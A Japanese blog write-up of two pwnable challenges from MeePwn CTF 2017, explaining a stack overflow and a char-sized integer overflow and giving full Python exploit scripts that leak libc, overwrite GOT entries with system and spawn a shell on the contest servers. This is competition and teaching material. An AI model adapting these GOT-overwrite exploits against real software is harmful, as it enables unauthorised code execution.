h_nosonの日記

競プロ、CTFなど

MeePwn CTF 1st 2017 old school, bs Writeup

shpxで参加してました。

pwn2問解いて201点、108位。

Writeup

The Biginning (Misc 1)

MeePwnCTF{HellO_WorLd!}

old school (Pwnable 100)

ELF 64-bit、動的リンク、SSPとNX有効

% file oldschool_27e20fd0de79d5d1a69f957120c370ed
oldschool_27e20fd0de79d5d1a69f957120c370ed: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, stripped
% checksec -f oldschool_27e20fd0de79d5d1a69f957120c370ed
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FORTIFY Fortified Fortifiable  FILE
Partial RELRO   Canary found      NX enabled    No PIE          No RPATH   No RUNPATH   Yes     0               5       oldschool_27e20fd0de79d5d1a69f957120c370ed
% ./oldschool_27e20fd0de79d5d1a69f957120c370ed
-------- BookStore --------
1.       Add Book.
2.       Edit Book.
3.       Delete Book.
4.       Show Books.
5.       Exit.
Choice:

以下の4つの機能がある。

  1. 本の追加:題名(0x20bytes),著者名(0x20bytes),本文の長さ(2bytes),本文(0x100まで?の任意長)をスタックにpushし、そのアドレスをテーブルに追加
  2. 本の編集:元の長さを維持したまま内容を変更(題名,著者名はstrlenで取得した長さを元に、本文は本文の直前に格納されている長さを元にreadする)
  3. 本の削除:テーブルから削除する
  4. 本の表示:テーブルに保存されている本の内容を表示する

著者名を0x20bytes入力すると本文の長さを格納している部分まで文字列の一部とみなされ、2.で本文の長さを変えられる。本文を1byteで作成してから長さを0xffにするとスタックバッファオーバーフローによってスタック上に保存されているテーブルの値を変えることができる。これによってテーブルの値をGOTのアドレスに書き換えて2.でGOTを上書きする。そしてstrlenをsystemに変えてシェルを起動する。

#!/usr/bin/env python
from pwnlib import *

def add_book(name,author,desc):
    s.sendline('1')
    if len(name) < 0x20:
        name += '\n'
    if len(author) < 0x20:
        author += '\n'
    s.send(name)
    s.send(author)
    s.sendline(str(len(desc)))
    s.send(desc)
    s.recvuntil(':Description:')

def edit_book(index,name,author,desc):
    s.sendline('2')
    s.sendline(str(index))
    s.send(name)
    s.send(author)
    s.send(desc)
    s.recvuntil(':Description:')

if __name__ == '__main__':
    if len(sys.argv) == 1:
        s = Local('./oldschool_27e20fd0de79d5d1a69f957120c370ed')
    else:
        s = Remote('139.59.244.42',31340)

    strlen_got = 0x602028
    strlen_offset = 0x8b720
    system_offset = 0x45390

    add_book('A','A'*0x20,'A')
    edit_book(1,'A','A'*0x20+'\xff','A'*0xe7 + '\x00' + p32(1) + p64(strlen_got-0x20) + '\n')
    s.sendline('2')
    s.sendline('1')
    s.recvuntil('Author: ')
    libc_base = u64(s.recv(6)) - strlen_offset
    print '[*] libc base is', hex(libc_base)
    s.sendline('')
    s.send(p64(libc_base + system_offset))
    s.sendline('')
    add_book('/bin/sh','A','A')
    s.sendline('2')
    s.sendline('2')
    s.interact()
% ./exploit.py remote
[*] libc base is 0x7fdc67d61000
[*] Switching to interactive mode
-------- BookStore --------
1.       Add Book.
2.       Edit Book.
3.       Delete Book.
4.       Show Books.
5.       Exit.
Choice:Book name:Author:Length of Description:
$ Description:-------- BookStore --------
1.       Add Book.
2.       Edit Book.
3.       Delete Book.
4.       Show Books.
5.       Exit.
Choice:------------ 1 ------------
Name: h!5h
Author: c
Description:
------------ 2 ------------
Name: /bin/sh
Author: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/bin/
Description: /
ls
Which book do you want to edit ?Book name:bin
boot
dev
etc
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
$ cd home
$ ls
oldschool
$ cd oldschool
$ ls
flag
oldschool
$ cat flag
MeePwnCTF{0ld_sch00ld_C4n4ry_1s_0n_th3_st4ck}

bs (Pwnable 100)

ELF 32-bit、動的リンク、NX有効

% file bit
bit: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=21102c8ebc9b555cd0f480b28f0ffb7a423a49f7, not stripped
% checksec -f bit
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FORTIFY Fortified Fortifiable  FILE
Partial RELRO   No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   No      0               4       bit

このプログラムの流れは以下の通り

  1. パスワードを要求する
  2. パスワードがあっていれば(パスワードは/dev/urandomから取ってきた値なので厳しい)user_idを0に設定する
  3. パスワードがあっていなければuser_idを0でない255以下の値を入力させる
  4. user_idの下位2bytesが0ならばis_rootに1を設定する(つまり0xffff0000を入力すればいい)
  5. 数列を入力させる(is_rootが1のときは長さ0x7fまで可能で、is_rootが0のときは長さ0x1fの数列しか入力できない)
  6. 数列をbubble_sortでソートする
  7. 入力した数値を二分探索で探索する
  8. 数列に入力した数値が存在するならば、その数値の位置からインデックスが大きくなる方向に向かって数列の値を1要素ずつ変更できる
  9. 存在しなければ終了する
% ./bit
Enter your password:
hoge
Please set your user_id:
1
[BINARY SEARCH SYSTEM]
How many numbers do you want to sort ?
2
Enter 2 integers
10 5
You can review all your numbers. Enter -1 to break
0
0xa
1
0x5
-1
Enter value to find
5
MID[0] is 0x5
5 found at 0 !!!
ARRAY[0] = 5
Do you want to edit it ?
y
Enter new value
20
ARRAY[1] = 10
Do you want to edit it ?
n
ARRAY[2] = 0
Do you want to edit it ?
q
Bye !

二分探索は以下のようなコードになっていて、nを大きな値にするとinteger overflowする。mが負の値になったときに探索が終了するようにvalの値を操作すると、その付近にあるGOTの値を変えることができる。

void binary_search(int a[], char n, int val) {
    char l = 0, r = n-1;
    while (l < r) {
        char m = (l + r) / 2;
        if (a[m] < val) {
            l = m + 1
        }
        else if (a[m] == val) {
            // found
        }
        else {
            r = m - 1;
        }
    }
    // not found
}

制御をloginまで戻し、openをisasciiに変えて0を出力させることでreadを標準入力から読み込ませて/bin/shを入力すると同時に、memcmpをsystemに変えてシェルを起動する。

080485cb <login>:
 80485cb:   55                      push   ebp
 80485cc:   89 e5                   mov    ebp,esp
 80485ce:   83 ec 38                sub    esp,0x38
 80485d1:   83 ec 08                sub    esp,0x8
 80485d4:   6a 00                   push   0x0
 80485d6:   68 50 8c 04 08          push   0x8048c50 ; /dev/urandom
 80485db:   e8 a0 fe ff ff          call   8048480 <open@plt>
 80485e0:   83 c4 10                add    esp,0x10
 80485e3:   89 45 f4                mov    DWORD PTR [ebp-0xc],eax
 80485e6:   83 ec 04                sub    esp,0x4
 80485e9:   6a 10                   push   0x10
 80485eb:   8d 45 e4                lea    eax,[ebp-0x1c]
 80485ee:   50                      push   eax
 80485ef:   ff 75 f4                push   DWORD PTR [ebp-0xc]
 80485f2:   e8 39 fe ff ff          call   8048430 <read@plt>
 80485f7:   83 c4 10                add    esp,0x10
 80485fa:   83 ec 0c                sub    esp,0xc
 80485fd:   68 5d 8c 04 08          push   0x8048c5d
 8048602:   e8 59 fe ff ff          call   8048460 <puts@plt>
 8048607:   83 c4 10                add    esp,0x10
 804860a:   83 ec 04                sub    esp,0x4
 804860d:   6a 10                   push   0x10
 804860f:   8d 45 d4                lea    eax,[ebp-0x2c]
 8048612:   50                      push   eax
 8048613:   6a 00                   push   0x0
 8048615:   e8 16 fe ff ff          call   8048430 <read@plt>
 804861a:   83 c4 10                add    esp,0x10
 804861d:   83 ec 04                sub    esp,0x4
 8048620:   6a 10                   push   0x10
 8048622:   8d 45 d4                lea    eax,[ebp-0x2c]
 8048625:   50                      push   eax
 8048626:   8d 45 e4                lea    eax,[ebp-0x1c]
 8048629:   50                      push   eax
 804862a:   e8 21 fe ff ff          call   8048450 <memcmp@plt>
#!/usr/bin/env python
from pwnlib import *

if __name__ == '__main__':
    if len(sys.argv) == 1:
        s = Local('./bit')
        system_offset = 0x3a940
        read_offset = 0xd4350
        isascii_offset = 0x25010
    else:
        s = Remote('128.199.135.210',31335)
        system_offset = 0x3b020
        read_offset = 0xd82a0
        isascii_offset = 0x24f80

    login_addr = 0x80485d6
    start = -42
    read_got = -21
    memcmp_got = -19
    open_got = -16
    scanf_got = -13
    match_val = 0x804836c

    s.send("hoge")
    s.sendline("-65536")
    n = 0x7e
    s.sendline(str(n))
    for i in range(n):
        s.sendline('0')
    s.sendline('-1')
    s.sendline(str(match_val))
    for i in range(-start):
        if i == read_got - start:
            s.sendline('n')
            s.recvuntil('ARRAY[%d] = ' % read_got)
            libc_base = int(s.recvline()) - read_offset
            print '[*] libc base is', hex(libc_base)
        elif i == memcmp_got - start:
            s.sendline('y')
            s.sendline(str(libc_base + system_offset))
        elif i == scanf_got - start:
            s.sendline('y')
            s.sendline(str(login_addr))
        elif i == open_got - start:
            s.sendline('y')
            s.sendline(str(libc_base + isascii_offset))
        else:
            s.sendline('n')
    s.sendline('y')
    s.sendline('/bin/sh\x00')
    s.sendline('/bin/sh\x00')
    s.recvuntil('Enter your password:\n')
    s.interact()
% ./exploit.py remote
[*] libc base is 0xf75e8000
[*] Switching to interactive mode

$ ls
bin
boot
dev
etc
home
initrd.img
initrd.img.old
lib
lib32
lib64
libx32
lost+found
media
mnt
opt
proc
root
run
sbin
snap
srv
sys
tmp
usr
var
vmlinuz
vmlinuz.old
$ cd home
$ ls
bs
meepo
$ cd bs
$ ls
bit
flag
$ cat flag
MeePwnCTF{C_1n73g3r_0v3v3rFl0w}